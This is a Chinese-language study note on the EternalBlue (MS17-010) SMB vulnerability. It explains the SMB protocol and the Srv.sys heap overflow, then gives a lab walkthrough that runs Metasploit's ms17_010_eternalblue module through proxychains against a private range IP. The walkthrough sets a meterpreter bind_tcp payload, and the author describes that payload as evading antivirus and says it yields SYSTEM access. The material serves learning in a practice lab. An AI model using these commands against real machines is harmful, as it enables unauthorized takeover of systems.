什么是永恒之蓝
永恒之蓝是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机
编号为 MS17-010
Windows内核漏洞,缓冲区溢出
SMB协议介绍
SMB通信协议主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139,445
协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的,SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上
SMB原理
首先客户端发送一个SMB negport 请求数据报,并列出它所支持的所有SMB的协议版本。
服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。
客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件
漏洞原理
SMB 是 Windows 系统中用于文件共享、打印服务的网络协议,EternalBlue 针对的是 SMBv1 协议栈。
问题出在 Srv.sys
内核驱动对特定 Trans2 请求 的处理中存在内存错误
攻击者伪造一个恶意 SMB 请求包,伪装成 文件传输请求(Trans2_SESSION_SETUP),该请求包含精心构造的大小字段
分配一个小缓冲区(比如 1024 字节) 然后试图写入比它更大的数据(比如 4096 字节)
最终导致 内存越界写(Heap Overflow)
由于是 内核态驱动处理这个请求,攻击者能利用溢出控制某些结构,最终劫持执行流(比如修改函数指针),达到:
- 提权(Ring 3 → Ring 0)
- 执行恶意 shellcode
- 植入木马/后门
通俗易懂的攻击原理和流程
攻击者构造一个非常大的 “Data Count”,而系统分配的内存却太小,导致:
操作系统以为你只发了 1000 字节的数据,实际上你发了 4000 字节。
结果:
- 后面那 3000 字节写进了别人的内存空间(越界写)
- 这些内存中可能存放着函数指针、结构体、对象等关键信息
- 于是你可以改写这些内容,控制代码执行流
想象一下:
- 你给操作系统提交了一份文件(SMB 请求)
- 它打开了一个信封(分配了内存)准备接收你要寄的 1000 字节
- 你实际上塞了 4000 字节进去
- 前 1000 是文件内容,后 3000 被你偷偷夹带了“控制系统指令”
- 系统在处理你的数据时,不小心触发了你设置的后门
漏洞攻击利用,结合initial靶场
利用msf工具模块去打永恒之蓝,对于这个渗透场景是要用proxychains4配代理的
proxychains4 msfconsole //让它的网络流量通过代理服务器转发
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
其中记得要修改代理的配置
/etc/proxychains.conf
/ini
socks5 172.22.1.21 5555
启动Metasploit控制台
msfconsole
启动后直接选择漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
下一步
set payload windows/x64/meterpreter/bind_tcp_uuid
设置攻击成功后要运行的 payload:
meterpreter
:你远程控制的 shellbind_tcp
:目标机器主动监听一个端口,你去连接uuid
:payload 做过签名混淆处理,更隐蔽(绕过 AV/IDS)
第四步
set RHOSTS 172.22.1.21
设置要攻击的目标机器的ip
最后攻击
exploit
永恒之蓝打进去就是system权限了
权限级别 | 说明 |
---|---|
Guest | 最低权限,只能浏览 |
User | 正常用户,无管理权限 |
Admin | 管理员,有安装权限等 |
SYSTEM | 核心系统账户,掌控一切,高于管理员 |
漏洞复现:
这边自己复现了一下,发现环境有时候会出问题,看看有没有稳定的,先鸽一下